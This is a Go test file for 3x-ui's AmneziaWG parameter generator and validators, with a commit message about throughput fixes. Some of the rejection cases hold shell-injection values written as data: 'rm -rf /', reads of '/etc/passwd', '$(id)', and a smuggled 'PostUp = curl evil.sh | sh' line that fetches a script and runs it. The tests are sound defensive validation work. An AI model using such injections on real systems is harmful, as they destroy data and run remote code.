Files
3x-ui/internal/amneziawg/params_test.go
T
kuzzrus bd1c27b03d fix(amneziawg): H1-H4 generator + queue-depth throughput fixes (#6330)
* fix(amneziawg): stop H1-H4 generator misclassifying transport packets

Both the Go generator and its frontend mirror picked a random *range*
per H1-H4 field with only a minimum width enforced (no maximum).
amneziawg-go's packet classifier only ever compares a fixed-size
ciphertext prefix against these bounds, so a wide range buys no DPI
resistance -- the boundaries themselves are never observable on the
wire. It does cost real throughput: with randomTrailers on (the
default here), the handshake-size checks relax from == to >, so a
wide H-range misclassifies a proportional fraction of ordinary
transport packets as handshakes and silently drops them
(amnezia-vpn/amneziawg-go#183). A single value per field is strictly
safer than any range, with no obfuscation trade-off.

Live-tested: narrowing H1-H4 alone took AmneziaWG upload from
2-3 Mbit/s to 200+ Mbit/s on one box, and ~20 Mbit/s to 120-156 Mbit/s
on another, single-variable, no other change.

* fix(amneziawgnet): raise tunQueueDepth to absorb slow-start bursts

1024 was sized for a single-connection buffering problem (the
gVisor-to-amneziawg-go TUN handoff channel needing slack for the
download direction). tcpip.Stack.Stats() during a real many-connection
download (20-28 concurrent TCP flows, e.g. a segmented speed test)
showed SlowStartRetransmits jump by ~770 in a single second the moment
CurrentEstablished crossed ~20 -- consistent with many connections'
simultaneous slow-start growth briefly exceeding 1024 outstanding
packets and gVisor treating the resulting silent drops as real network
loss.

* fix(amneziawg): trim comment blocks to the repo's 2-line cap

Review feedback: four comment blocks in the previous commits exceeded
CLAUDE.md's 2-line-per-block hard rule (up to 13 lines). Trimmed each to
the one non-obvious fact plus the amneziawg-go#183 reference; the fuller
rationale already lives in the commit message. Also refreshed the stale
H1-H4 range example in docs/content/docs/en/config/amneziawg.mdx to match
the new single-value generator output.
2026-09-03 21:50:23 +02:00

380 lines
12 KiB
Go

package amneziawg
import (
"encoding/base64"
"strconv"
"strings"
"testing"
)
func TestGenerateObfuscation31DefaultRanges(t *testing.T) {
for i := 0; i < 200; i++ {
o := GenerateObfuscation31()
if o.Jc < 3 || o.Jc > 6 {
t.Fatalf("Jc = %d, want [3,6]", o.Jc)
}
if o.Jmin < 40 || o.Jmin > 89 {
t.Fatalf("Jmin = %d, want [40,89]", o.Jmin)
}
if o.Jmax < o.Jmin+50 || o.Jmax > o.Jmin+250 {
t.Fatalf("Jmax = %d, want [Jmin+50, Jmin+250] (Jmin=%d)", o.Jmax, o.Jmin)
}
if o.S1 < 15 || o.S1 > 150 {
t.Fatalf("S1 = %d, want [15,150]", o.S1)
}
if o.S2 < 15 || o.S2 > 150 {
t.Fatalf("S2 = %d, want [15,150]", o.S2)
}
if o.S1+56 == o.S2 {
t.Fatalf("S1+56 == S2 (%d+56 == %d): violates kernel constraint", o.S1, o.S2)
}
if o.S3 < 12 || o.S3 > 55 {
t.Fatalf("S3 = %d, want [12,55]", o.S3)
}
if o.S4 < 12 || o.S4 > 27 {
t.Fatalf("S4 = %d, want [12,27]", o.S4)
}
if o.HeaderProtectionKey != "" {
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("generated set failed its own validation: %v", err)
}
}
for name, h := range map[string]string{"H1": o.H1, "H2": o.H2, "H3": o.H3, "H4": o.H4} {
if err := validateUintRange(h, 0); err != nil {
t.Fatalf("%s = %q invalid: %v", name, h, err)
}
if h == "" {
t.Fatalf("%s is empty, want a generated range", name)
}
}
if !strings.HasPrefix(o.I1, "<r ") || !strings.HasSuffix(o.I1, ">") {
t.Fatalf("I1 = %q, want \"<r N>\" form", o.I1)
}
n, err := strconv.Atoi(strings.TrimSuffix(strings.TrimPrefix(o.I1, "<r "), ">"))
if err != nil || n < 32 || n > 256 {
t.Fatalf("I1 = %q, embedded N must be an integer in [32,256]", o.I1)
}
for name, v := range map[string]string{"I2": o.I2, "I3": o.I3, "I4": o.I4, "I5": o.I5} {
if v != "" {
t.Fatalf("%s = %q, generated sets must leave I2-I5 empty", name, v)
}
}
key, err := base64.StdEncoding.DecodeString(o.HeaderProtectionKey)
if err != nil || len(key) != 32 {
t.Fatalf("HeaderProtectionKey = %q, must be base64 of 32 bytes (err=%v)", o.HeaderProtectionKey, err)
}
assertRangeWithin(t, "ContentPaddingAddition", o.ContentPaddingAddition, 8, 64)
rkLo, rkHi := assertRangeWithin(t, "RekeyAfterTime", o.RekeyAfterTime, 100, 160)
if rkHi-rkLo < 10 || rkHi-rkLo > 40 {
t.Fatalf("RekeyAfterTime = %q, width must be in [10,40]", o.RekeyAfterTime)
}
rjLo, _ := assertRangeWithin(t, "RejectAfterTime", o.RejectAfterTime, 130, 310)
if rjLo < rkHi+30 {
t.Fatalf("RejectAfterTime = %q must start >= 30s above RekeyAfterTime max %d", o.RejectAfterTime, rkHi)
}
assertRangeWithin(t, "RekeyTimeout", o.RekeyTimeout, 3, 10)
assertRangeWithin(t, "KeepaliveTimeout", o.KeepaliveTimeout, 8, 20)
assertRangeWithin(t, "MaxHandshakeAttempts", o.MaxHandshakeAttempts, 15, 50)
if !o.RandomTrailers || !o.DisableCookies {
t.Fatalf("RandomTrailers/DisableCookies = %v/%v, generated sets default both on", o.RandomTrailers, o.DisableCookies)
}
}
}
// assertRangeWithin parses a "lo-hi" value and fails unless
// min <= lo <= hi <= max, returning the parsed bounds.
func assertRangeWithin(t *testing.T, name, v string, min, max int64) (lo, hi int64) {
t.Helper()
lo, hi, ok := parseUintRange(v)
if !ok || !strings.Contains(v, "-") {
t.Fatalf("%s = %q, want a lo-hi range", name, v)
}
if lo < min || hi > max || lo > hi {
t.Fatalf("%s = %q, want %d <= lo <= hi <= %d", name, v, min, max)
}
return lo, hi
}
func TestGenerateHValuesDistinct(t *testing.T) {
for i := 0; i < 50; i++ {
h := generateHValues()
var prev int64
for i, v := range h {
n, err := strconv.ParseInt(v, 10, 64)
if err != nil {
t.Fatalf("H%d = %q is not a plain integer: %v", i+1, v, err)
}
if n <= prev {
t.Fatalf("H%d = %q is not strictly greater than the previous value (%d)", i+1, v, prev)
}
prev = n
}
}
}
func validObfuscation() Obfuscation31 {
return GenerateObfuscation31()
}
func TestValidateObfuscationAcceptsGenerated(t *testing.T) {
for i := 0; i < 50; i++ {
if err := ValidateObfuscation(validObfuscation()); err != nil {
t.Fatalf("generated obfuscation set rejected: %v", err)
}
}
}
func TestValidateObfuscationAcceptsBlankH(t *testing.T) {
o := validObfuscation()
o.H1, o.H2, o.H3, o.H4 = "", "", "", ""
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("blank H values should be allowed (fall back to defaults): %v", err)
}
}
func TestValidateObfuscationRejectsBadJminJmax(t *testing.T) {
o := validObfuscation()
o.Jmin, o.Jmax = 50, 10
if err := ValidateObfuscation(o); err == nil {
t.Fatal("Jmin > Jmax must be rejected")
}
}
func TestValidateObfuscationRejectsBadS3S4(t *testing.T) {
o := validObfuscation()
o.S3 = 65
if err := ValidateObfuscation(o); err == nil {
t.Fatal("S3 > 64 must be rejected")
}
o = validObfuscation()
o.S4 = 33
if err := ValidateObfuscation(o); err == nil {
t.Fatal("S4 > 32 must be rejected")
}
o = validObfuscation()
o.S3, o.S4 = -1, -1
if err := ValidateObfuscation(o); err == nil {
t.Fatal("negative S3/S4 must be rejected")
}
}
func TestValidateObfuscationRejectsLowSWithHeaderProtection(t *testing.T) {
for field, set := range map[string]func(o *Obfuscation31){
"S1": func(o *Obfuscation31) { o.S1 = 11 },
"S2": func(o *Obfuscation31) { o.S2 = 11 },
"S3": func(o *Obfuscation31) { o.S3 = 11 },
"S4": func(o *Obfuscation31) { o.S4 = 11 },
} {
o := validObfuscation()
set(&o)
if err := ValidateObfuscation(o); err == nil {
t.Fatalf("%s = 11 with a header protection key set must be rejected", field)
}
}
o := validObfuscation()
o.HeaderProtectionKey = ""
o.S3, o.S4 = 8, 4
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("S3/S4 below 12 with no header protection key must be accepted: %v", err)
}
}
func TestValidateObfuscationRejectsS1S2Collision(t *testing.T) {
o := validObfuscation()
o.S1 = 30
o.S2 = o.S1 + 56
if err := ValidateObfuscation(o); err == nil {
t.Fatal("S1+56 == S2 must be rejected (kernel constraint)")
}
}
func TestValidateObfuscationRejectsBadH(t *testing.T) {
cases := []string{"not-a-number", "10-", "-10", "5-4", "-1-10"}
for _, h := range cases {
o := validObfuscation()
o.H1 = h
if err := ValidateObfuscation(o); err == nil {
t.Fatalf("H1 = %q must be rejected", h)
}
}
}
func TestValidateObfuscationAcceptsEmpty31Fields(t *testing.T) {
o := validObfuscation()
o.HeaderProtectionKey = ""
o.ContentPaddingAddition = ""
o.RekeyAfterTime, o.RekeyTimeout, o.RejectAfterTime = "", "", ""
o.KeepaliveTimeout, o.MaxHandshakeAttempts = "", ""
o.RandomTrailers, o.DisableCookies = false, false
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("all-empty 3.1 fields must be accepted (features off): %v", err)
}
}
func TestValidateObfuscationRejectsBadTimingRanges(t *testing.T) {
cases := []struct {
name string
mutate func(o *Obfuscation31)
}{
{"zero rekeyTimeout", func(o *Obfuscation31) { o.RekeyTimeout = "0" }},
{"zero-low range", func(o *Obfuscation31) { o.KeepaliveTimeout = "0-10" }},
{"inverted range", func(o *Obfuscation31) { o.RekeyAfterTime = "160-100" }},
{"non-numeric", func(o *Obfuscation31) { o.MaxHandshakeAttempts = "many" }},
{"trailing dash", func(o *Obfuscation31) { o.RejectAfterTime = "200-" }},
{"rekey max not below reject min", func(o *Obfuscation31) {
o.RekeyAfterTime = "100-200"
o.RejectAfterTime = "200-300"
}},
{"single rekey value at reject min", func(o *Obfuscation31) {
o.RekeyAfterTime = "180"
o.RejectAfterTime = "180-300"
}},
{"embedded newline splits the config line", func(o *Obfuscation31) {
o.RekeyAfterTime = "110\n-140"
o.RejectAfterTime = "190-250"
}},
{"reject alone below the 120s default rekey", func(o *Obfuscation31) {
o.RekeyAfterTime = ""
o.RejectAfterTime = "30-60"
}},
{"rekey alone above the 180s default reject", func(o *Obfuscation31) {
o.RekeyAfterTime = "200-300"
o.RejectAfterTime = ""
}},
}
for _, c := range cases {
o := validObfuscation()
c.mutate(&o)
if err := ValidateObfuscation(o); err == nil {
t.Errorf("%s must be rejected", c.name)
}
}
}
func TestValidateObfuscationRejectsBadHeaderProtectionKey(t *testing.T) {
cases := []struct {
name string
key string
}{
{"not base64", "not!!!base64"},
{"16-byte key", base64.StdEncoding.EncodeToString(make([]byte, 16))},
{"33-byte key", base64.StdEncoding.EncodeToString(make([]byte, 33))},
{"control characters", "AAAA\nBBBB"},
// DecodeString IGNORES \r\n, so this decodes to a valid 32 bytes —
// only the explicit control-character check can catch the line wrap.
{"line-wrapped but decodable key", "MCPfRGcDGotJ6Tcn\r\nIdDqsemj2cMIiGHnPUHM5ivXN18="},
}
for _, c := range cases {
o := validObfuscation()
o.HeaderProtectionKey = c.key
if err := ValidateObfuscation(o); err == nil {
t.Errorf("headerProtectionKey %s (%q) must be rejected", c.name, c.key)
}
}
}
func TestCanonicalizeUintRange(t *testing.T) {
cases := []struct{ in, want string }{
{"110 - 140", "110-140"},
{" 120 ", "120"},
{" ", ""},
{"", ""},
{"110-140", "110-140"},
}
for _, c := range cases {
if got := CanonicalizeUintRange(c.in); got != c.want {
t.Errorf("CanonicalizeUintRange(%q) = %q, want %q", c.in, got, c.want)
}
}
}
func TestValidateObfuscationAcceptsSingleValueRanges(t *testing.T) {
o := validObfuscation()
o.ContentPaddingAddition = "32"
o.RekeyAfterTime = "120"
o.RejectAfterTime = "180"
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("single-integer values must be accepted like the awg parser does: %v", err)
}
}
func TestValidateInterfaceNameAcceptsBlankAndPlausibleNames(t *testing.T) {
for _, name := range []string{"", "eth0", "wg0", "br-lan", "eno1.100", "veth1a2b3c", "eth0:0"} {
if err := ValidateInterfaceName(name); err != nil {
t.Errorf("ValidateInterfaceName(%q) rejected a plausible name: %v", name, err)
}
}
}
func TestValidateInterfaceNameRejectsShellMetacharactersAndOverlength(t *testing.T) {
cases := []string{
"eth0 -j ACCEPT; rm -rf /",
"eth0`whoami`",
"eth0$(id)",
"eth0|cat /etc/passwd",
"eth0\nMASQUERADE",
"aaaaaaaaaaaaaaaaaaaa", // 20 chars, over IFNAMSIZ-1
}
for _, name := range cases {
if err := ValidateInterfaceName(name); err == nil {
t.Errorf("ValidateInterfaceName(%q) must be rejected", name)
}
}
}
func TestValidateSubnetIPv4AcceptsValidBases(t *testing.T) {
cases := []struct {
ip string
cidr int
}{
{"10.8.1.0", 24},
{"10.8.1.0", 0}, // cidr <= 0 defaults to /24, mirroring serverAddress
{"192.168.5.10", 32},
}
for _, c := range cases {
if err := ValidateSubnetIPv4(c.ip, c.cidr); err != nil {
t.Errorf("ValidateSubnetIPv4(%q, %d) rejected a valid subnet: %v", c.ip, c.cidr, err)
}
}
}
func TestValidateSubnetIPv4RejectsMalformedOrInjectedValues(t *testing.T) {
cases := []struct {
ip string
cidr int
}{
{"10.8.1.0 -j ACCEPT; rm -rf /", 24}, // shell injection attempt
{"not-an-ip", 24},
{"", 24},
{"fd86::1", 64}, // IPv6, not IPv4
{"10.8.1.0", 33}, // cidr out of range
}
for _, c := range cases {
if err := ValidateSubnetIPv4(c.ip, c.cidr); err == nil {
t.Errorf("ValidateSubnetIPv4(%q, %d) must be rejected", c.ip, c.cidr)
}
}
}
func TestValidateConfigValueAcceptsPlausibleValues(t *testing.T) {
for _, v := range []string{"", "user@example.com", "MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=", "<r 148>"} {
if err := ValidateConfigValue("email", v); err != nil {
t.Errorf("ValidateConfigValue(%q) rejected a plausible value: %v", v, err)
}
}
}
func TestValidateConfigValueRejectsControlCharacters(t *testing.T) {
cases := []string{
"a@x\nPostUp = curl evil.sh | sh",
"a@x\r\n[Interface]",
"tab\there",
"a@x\x7f",
}
for _, v := range cases {
if err := ValidateConfigValue("email", v); err == nil {
t.Errorf("ValidateConfigValue(%q) must be rejected", v)
}
}
}